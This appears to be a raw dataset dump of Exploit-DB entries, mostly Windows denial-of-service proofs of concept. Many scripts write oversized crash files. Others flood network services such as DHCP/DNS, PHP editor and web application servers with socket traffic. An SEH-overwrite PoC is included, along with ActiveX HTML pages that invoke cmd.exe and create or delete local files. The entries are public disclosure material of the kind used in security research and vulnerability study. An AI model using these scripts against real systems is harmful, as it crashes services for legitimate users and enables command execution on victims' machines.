deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42486
Description: DSScan 1.0 - Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-08-18
Author: Anurag Srivastava

Exploit:
#!/usr/bin/python
# Exploit Title     : DSScan v1.0 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Website	    : http://pyramidcyber.com/
# Discovery Date    : 18/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/dsscan.aspx#
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 10 Home x64 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#0019F900   43434343
#42424242   *** CORRUPT ENTRY ***

 
# Offset to the SEH Frame is 560
buffer = "A"*560
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()
Exploit-DB #9573
Description: dTunes 2.72 - Filename Processing Local Format String (PoC)
Type: dos
Platform: windows
Date: 2009-09-01
Author: TheLeader

Exploit:
#!/usr/bin/perl

# dTunes 2.72 local format string PoC (filename processing)
# TheLeader, GSOG2009 [st0p] hotmail [sp4m] com
# ShoutZ to the wonderful ppl over at forums.hacking.org.il =]

# Copy the file over to your device on /var/mobile/Library/Downloads/ and attempt playing with dTunes.
# This can also be done through dTunes interface - just tap "Edit", double tap any mp3 file, rename to "%s.mp3", tap "Save", confirm & play.

# PoC:
open (FILE, '>%s.mp3');
close (FILE);

# GDB backtrace:
# 0x3146baa4 in mach_msg_trap ()
# (gdb) c
# Continuing.
#
# Program received signal SIGABRT, Aborted.
# 0x3145dc58 in __kill ()
# (gdb) bt
# #0  0x3145dc58 in __kill ()
# #1  0x3145dc4c in kill ()
# #2  0x3145dc40 in raise ()
# #3  0x3147842a in abort ()
# #4  0x30075b44 in __gnu_cxx::__verbose_terminate_handler ()
# #5  0x300c2100 in _objc_terminate ()
# #6  0x300730d8 in std::terminate ()
# #7  0x300731e0 in __cxa_throw ()
# #8  0x300c1f8c in objc_exception_throw ()
# #9  0x3029a59e in +[NSException raise:format:arguments:] ()
# #10 0x3029a53e in +[NSException raise:format:] ()
# #11 0x30696de4 in -[NSURL initWithString:relativeToURL:] ()
# #12 0x30696cde in +[NSURL URLWithString:relativeToURL:] ()
# #13 0x330c1008 in -[AVPlaybackItem urlFromPath:] ()
# #14 0x330c259c in -[AVPlaybackItem ensureFPItem] ()
# #15 0x330c4304 in -[AVPlaybackQueue queueItemWasAddedNotification:] ()
# #16 0x30672726 in _nsnote_callback ()
# #17 0x302615a8 in _CFXNotificationPostNotification ()
# #18 0x30670e72 in -[NSNotificationCenter postNotificationName:object:userInfo:] ()
# #19 0x330aa750 in -[AVQueue itemWasAdded:atIndex:] ()
# #20 0x330aa89c in -[AVQueue insertItem:atIndex:error:] ()
# #21 0x000037e4 in -[DTunesMusicPlayViewController buildTrack:] ()
# #22 0x0000366a in -[DTunesMusicPlayViewController nextTrack] ()
# #23 0x000032a0 in -[DTunesMusicPlayViewController updateScreenWhilePlaying] ()
# #24 0x306942a6 in __NSFireTimer ()
# #25 0x30269d8e in CFRunLoopRunSpecific ()
# #26 0x30269326 in CFRunLoopRunInMode ()
# #27 0x31567e60 in GSEventRunModal ()
# #28 0x30a4fa74 in -[UIApplication _run] ()
# #29 0x30a591d8 in UIApplicationMain ()
# #30 0x00002096 in main ()
# (gdb) q

# milw0rm.com [2009-09-01]
Exploit-DB #40885
Description: Dual DHCP DNS Server 7.29 - Denial of Service
Type: dos
Platform: windows
Date: 2016-12-07
Author: R-73eN

Exploit:
# Title :  Dual DHCP DNS Server 7.29 Buffer Overflow (Dos)
# Date : 07/12/2016
# Author : R-73eN
# Tested on: Dual DHCP DNS Server 7.29 on Windows 7 SP1 (32bit)
# Vendor : http://dhcp-dns-server.sourceforge.net/
# Software : https://sourceforge.net/projects/dhcp-dns-server/files/Dual%20DHCP%20DNS%20Server/DualServerInstallerV7.29.exe/download
# Vulnerability Description:
# The software crashes when it tries to write to an invalid address.
#
# MOV EBX,DWORD PTR SS:[EBP+8] -> EBP+8 is part of our controlled input
# MOV DWORD PTR SS:[ESP+4],31              
# MOV DWORD PTR SS:[ESP],1 
# .........................
# MOV DWORD PTR DS:[EBX+24],EAX -> Here happens the corruption, EAX fails to move EBX which is our controlled adress + 24 bytes.
#
# I think this vulnerability is not exploitable because every module that is loaded has ASLR/DEP/SAFESEH enabled (Win 7)
# Even if we try to put some valid pointers to manipulate the execution flow we can't because every address on the DualServ.exe 
# contains 00 which is a badchar in our case.
#

import socket
import time
import sys

banner = "\n\n"
banner +="  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

host = ""
port = 6789

def send_request(host,port,data):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((host,port))
		s.send(data)
		print "[+] Malicious Packet Sent [+]\n"
		
	except Exception:
		print "[+] Exploit failed . . .[+]\n"
	s.close()

	

ebx = "BBBB"
eax = "CCCC"
evil = "A" * 497 + eax + "AAAA" + ebx + "D" * 400

if(len(sys.argv) < 1):
    print '\n Usage : exploit.py ipaddress\n'
    exit(0)
else:
    host = sys.argv[1]

#The method doesn't really matters. It gets valideted only about the length
request = "HEAD /{REPLACE} HTTP/1.1\r\nHost: " + str(host) + "\r\nUser-agent: Fuzzer\r\n\r\n"
send_request(host,port,request.replace("{REPLACE}",evil))
Exploit-DB #44222
Description: DualDesk 20 - 'Proxy.exe' Denial of Service
Type: dos
Platform: windows
Date: 2018-03-02
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/DUALDESK-v20-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security          
 

Vendor:
===============
www.dualdesk.com



Product:
===========
DualDesk v20

DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your
technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no
configuration. 



Vulnerability Type:
===================
Denial Of Service



CVE Reference:
==============
CVE-2018-7583


Security Issue:
================
Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application 
which listens on TCP Port 5500 by sending a long string of junk chars.

(d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available)
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtWaitForMultipleObjects+0x15:
77c6016d 83c404          add     esp,4


Exploit/POC:
=============
Start the Dualdesk Run Proxy as Application.

C:\>python -c "print 'a'*8000" > crash.txt

C:\>type crash.txt | nc.exe localhost 5500

Crash!!!


Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: February 4, 2018
Second attempt : February 17, 2018
Request CVE, assigned by Mitre : March 1, 2018
March 1, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
Exploit-DB #12025
Description: Dualis 20.4 - '.bin' Local Denial of Service
Type: dos
Platform: windows
Date: 2010-04-03
Author: Yakir Wizman

Exploit:
<?php
# Dualis 20.4 (.bin) Local Daniel Of Service
# Software Site: http://dualis.1emu.net/
# Software Download: http://dualis.1emu.net/files/dualis-20.4.zip
# Author: Pr0T3cT10n <pr0t3ct10n@gmail.com<mailto:pr0t3ct10n@gmail.com>>
# Site: http://www.nullbyte.org.il
##################################################################
# Dualis 20.4 is vulnerable to local denial of service attack.
# When we try to open a file by 'Load and Execute(CTRL+R)'
# that contains 9999 chars ('A'), so dualis should crash.
##################################################################
# PoC / Code:
$buffer = str_repeat('A', 9999); # Create 9999 chars('A')..
if(file_put_contents('crash.bin', $buffer)) {
 echo("File created successfuly.\r\nDualis should crash when you open the file with it.\r\n");
} else {
 echo("Can't create file. Try again.\r\n");
}
# Cya :)
# NULLBYTE.ORG.IL
####################
?>
Exploit-DB #47873
Description: Duplicate Cleaner Pro 4 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-06
Author: stresser

Exploit:
# Exploit Title: Duplicate Cleaner Pro 4 - Denial of Service (PoC)
# Date: 2020-01-05
# Vendor Homepage:https://www.digitalvolcano.co.uk/index.html
# Software Link:  https://www.digitalvolcano.co.uk/download/DuplicateCleanerPro4_setup.exe
# Exploit Author: Achilles
# Tested Version: 4.1.3
# Tested on: Windows 7 x64


# 1.- Run python code :
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Duplicate Cleaner Pro
# 4.- Paste the content of EVIL.txt into the Field: 'License key'
# 5.- Click 'Activate' and you will see a crash.

#!/usr/bin/env python
buffer =3D "\x41" * 6000

try:
f.open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
Exploit-DB #49917
Description: DupTerminator 1.4.5639.37199 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-06-01
Author: Brian Rodriguez

Exploit:
# Exploit Title: DupTerminator 1.4.5639.37199 - Denial of Service (PoC)
# Date: 2021-05-28
# Author: Brian Rodríguez
# Software Site: https://sourceforge.net/projects/dupterminator/
# Version: 1.4.5639.37199
# Category: DoS (Windows)

##### Vulnerability #####

DupTerminator is vulnerable to a DoS condition when a long list of characters is being used in field "Excluded" text box.

Successful exploitation will causes application stop working.

I have been able to test this exploit against Windows 10.

##### PoC #####

#!/usr/bin/env python
buffer = "\x41" * 8000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")
Exploit-DB #3038
Description: Durian Web Application Server 3.02 - Denial of Service
Type: dos
Platform: windows
Date: 2006-12-29
Author: rgod

Exploit:
<?php
//Durian Web Application Server 3.02 freeware for Win32 denial of service exploit
//this will merely show 1000 access violation boxes to screen
//software site -> http://sourceforge.net/projects/durian/

//by rgod mail: retrog at alice dot it site: http://retrogod.altervista.org

error_reporting(E_ALL);
$service_port = "4002";
$address = "192.168.1.3";

$ch  =array("\xaa","\xa0","\x41");
$size=array(30,70,150,330,520,700,1400,2300);
$c=1000;

for ($m=1; $m<=$c; $m++){
    for ($j=0; $j<3; $j++){
        for ($i=0; $i<8; $i++){
            $junk="";
            for ($k=1; $k<=$size[$i]; $k++){
                $junk.=$ch[$j];
            }
            echo "buf size:".$size[$i]."|char:".$ch[$j]."\n";
            $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if ($socket < 0) {
                die("socket_create() failed:\n reason: " . socket_strerror($socket) . "\n");
            }
            $result = socket_connect($socket, $address, $service_port);
            if ($result < 0) {
                die("socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n");
            }
            $in = $junk;
            socket_write($socket, $in, strlen ($in));
            socket_close($socket);
        }
   }
sleep(1);
}
?>

# milw0rm.com [2006-12-29]
Exploit-DB #18903
Description: DVD-Lab Studio 1.25 - '.DAL' File Open Crash
Type: dos
Platform: windows
Date: 2012-05-21
Author: Ahmed Elhady Mohamed

Exploit:
DVD-Lab Studio 1.25 DAL File Open Crash
===================================================================================
# Exploit Title:DVD-Lab Studio 1.25 Malicious DAL File Denial of service
# Download link:http://download.cnet.com/DVD-Lab-Studio/3000-7970_4-10391372.html
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# Website: www.infosec4all.tk
# version: 5.2.4
# Category: DOS
# Tested on: windows XP SP3
===================================================================================



#########################################################################################
#DVD-Lab Studio File Denial of service vulnerability ,when opening a malicious .PCX file#                                                                  #
#To trigger the exploit , go to file->Open                                              #
#########################################################################################

 
#!/usr/bin/ruby
 

File.open "Crash.dal" , "w" do |file|
junk = "A" *1000
file.write junk
end
Exploit-DB #1109
Description: DzSoft PHP Editor 3.1.2.8 - Denial of Service
Type: dos
Platform: windows
Date: 2005-07-15
Author: basher13

Exploit:
#!/usr/bin/perl
#
#    DzSoft PHP Server DOS Exploit
# ------------------------------------
#  Infam0us Gr0up - Securiti Research
# 
#
# Tested on Windows2000 SP4 (Win NT)
# Info: infamous.2hell.com
#

$subject = "DzSoft PHP Server DOS Exploit";
$vers = "DzSoft PHP Editor  3.1.2.8";
$vendor = "http://www.dzsoft.com";
$codz = "basher13 - basher13(at)linuxmail.org";

$ARGC=@ARGV;
if ($ARGC !=2) {
    print "\n";
    print "   $subject\n";
    print "------------------------------------\n\n";
    print "Usage: $0 [remote IP] [port]\n";
    print "Exam: $0 127.0.0.1 80\n";
    exit;
}

use IO::Socket::INET;
use Tk;

$host=$ARGV[0];
$port=$ARGV[1];

print "\n";
print "-------------------------------------------------------\n";
print "[?] Version: libwww-perl-$LWP::VERSION\n";
print "[+] Connect to $host..\n";
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto => 'tcp') 
|| die "[-] Connection error$@\n";

print "[+] Connected\n";
print "[+] Bindmode for socket..\n";
sleep(1);
binmode($sock);

print "[+] Build buffer..\n";
$hostname="Host: $host";
$bufy='A'x50;
$bufa='A'x8183;
$len=length($bufy);
$buff="GET / HTTP/1.1\r\n";
sleep(1);

print "[+] Now kill the process..wait\n";
send($sock,$buff,0) || die "[-] send error:$@\n";
print "[+] Sending buffer..\n";
for($i= 0; $i < 2000000; $i++)
{
    $buff=" $bufa\r\n";
    send($sock,$buff,0) || die "[*] send error:$@, Check if server D0s'ed\n";
}
$buff="$hostname\r\n";
$buff.="Content-Length: $len\r\n";

$buff.="\r\n";
$buff.=$bufy."\r\n\r\n";

send($sock,$buff,0) || die "[-] send error:$@\n";
print "[+] Server Out of Memory\n";
close($sock);
print "-------------------------------------------------------\n";
my $mw = MainWindow->new(-title => 'INFO',);
    my $var;

    my $opt = $mw->Optionmenu(
                
                -options => [qw()],
                -command => sub { print "\n[>]: ", shift, "\n" },
                -variable => \$var,
                )->pack;
    $opt->addOptions([- Subject=>$subject],[- Version=>$vers],[- Vendor=>$vendor],[- Coder=>$codz]);   
    $mw->Button(-text=>'CLOSE', -command=>sub{$mw->destroy})->pack;
    MainLoop;

# milw0rm.com [2005-07-15]
Exploit-DB #34093
Description: EA Battlefield 2 1.41 / Battlefield 2142 1.50 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2010-06-07
Author: Francis Lavoie-Renaud

Exploit:
source: https://www.securityfocus.com/bid/40605/info

Battlefield 2 and Battlefield 2142 are prone to multiple remote denial-of-service vulnerabilities because the applications fail to properly handle specially crafted network packets.

An attacker can exploit these issues to cause the applications to become unresponsive or to crash the affected game servers, denying service to legitimate users.

Battlefield 2 1.41 and Battlefield 2142 1.50 are vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34093.zip
Exploit-DB #46732
Description: Ease Audio Converter 5.30 - '.mp4' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-22
Author: Achilles

Exploit:
# Exploit Title: Ease Audio Converter 5.30 Audio Cutter Dos Exploit
# Date: 19.04.19
# Vendor Homepage:http://www.audiotool.net/download.htm
# Software Link:  http://www.audiotool.net/download/audioconverter.exe
# Exploit Author: Achilles
# Tested Version: 5.30
# Tested on: Windows 7 x64 Sp1

# 1.- Run the python script, it will create a new file with the name "Evil.mp4"
# 2.- Open AudioConverter.exe and Click Function and choose Audio Cutter
# 3.- Load the file "Evil.mp4"
# 4.- Click ok
# 5.- Click Gut
# 5.- And you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.mp4","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #9707
Description: Ease Audio Cutter 1.20 - '.wav' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2009-09-17
Author: zAx

Exploit:
#!/usr/bin/perl
###########################################################################
#             Ease Audio Cutter 1.20 (.wav file) Local Crash PoC          #
#                               By : zAx                                  #
###########################################################################
#             Application Homepage : http://mp3-cutter.com                #
#   Application Download : http://mp3-cutter.com/download/audiocutter.exe #
# Description : Click Select file button, select our file and click Play  #
###########################################################################
$crash = "\x42" x 15000;
my $file = "zAx_Crash.wav";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $crash;
close($FILE);
print "Done \n";

# milw0rm.com [2009-09-17]
Exploit-DB #15250
Description: Ease Jukebox 1.30 - Denial of Service
Type: dos
Platform: windows
Date: 2010-10-14
Author: Sweet

Exploit:
#Exploit Title :Ease Jukebox 1.30 Dos vulnerability 
#Software : Ease Jukebox 1.30
#Software link : http://www.mymusictools.com/all-in-one_jukebox_9/ease_jukebox_4040.htm
#Autor : Sweet
#Email : charif38@hotmail.fr
#Software version : 1.30
#Tested on : WinXP sp3 ENG vm
# (thx to Milw0rm.com , JF - Hamst0r - Keystroke) R.I.P  , inj3ct0r.com , exploit-db.com, packetstormsecurity.org, http://ha.ckers.org et 1,2,3 viva L'Algerie :))
#!/usr/bin/python
outfile="skin1.skn"
junk="\x41" * 7000
FILE=open(outfile, "w") 
FILE.write(junk)
FILE.close()
print "[+] File created succesufully , copy the file into the skin folder , open the aplication and select skin1  [+]"
Exploit-DB #35876
Description: Easewe FTP OCX ActiveX Control 4.5.0.9 - 'EaseWeFtp.ocx' Multiple Insecure Method Vulnerabilities
Type: dos
Platform: windows
Date: 2011-06-22
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/48393/info

Easewe FTP OCX ActiveX control is prone to multiple insecure-method vulnerabilities.

Attackers can exploit these issues to perform unauthorized actions or execute arbitrary programs. Successful exploits may result in compromise of affected computers.

Easewe FTP OCX ActiveX control 4.5.0.9 is vulnerable; other versions may also be affected. 

1.
<html>
<object classid='clsid:31AE647D-11D1-4E6A-BE2D[PII_REDACTED]9A' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="c:\windows\system32\cmd.exe"
arg2=""
arg3=1
target.Execute arg1 ,arg2 ,arg3
End Sub
</script>
</html>

2.
<html>
<object classid='clsid:31AE647D-11D1-4E6A-BE2D[PII_REDACTED]9A' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="c:\windows\system32\cmd.exe"
arg2=""
arg3=1
target.Run arg1 ,arg2 ,arg3
End Sub
</script>
</html>

3.
<html>
<object classid='clsid:31AE647D-11D1-4E6A-BE2D[PII_REDACTED]9A' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\Filename_to_create"
target.CreateLocalFile arg1
End Sub

</script>
</html>

4.
<html>
<object classid='clsid:31AE647D-11D1-4E6A-BE2D[PII_REDACTED]9A' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="Directorypath\Directory"
target.CreateLocalFolder arg1
End Sub

</script>
</html>

5.
<html>
<object classid='clsid:31AE647D-11D1-4E6A-BE2D[PII_REDACTED]9A' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\Filename_to_delete"
target.DeleteLocalFile arg1
End Sub
</script>
</html>

<HTML>
Easewe FTP(EaseWeFtp.ocx) Insecure Method Exploit<br>
<br>
Description There is Insecure Method in (LocalFileCreate) fonction<br>
Found By : coolkaveh<br>

<title>Exploited By : coolkaveh </title>
<BODY>
 <object id=cyber
classid="clsid:{31AE647D-11D1-4E6A-BE2D[PII_REDACTED]9A}"></object>

<SCRIPT>

function Do_it()
 {
     File = "kaveh.txt"
   cyber.LocalFileCreate(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Click
here To Test"><br>
</body>
</HTML>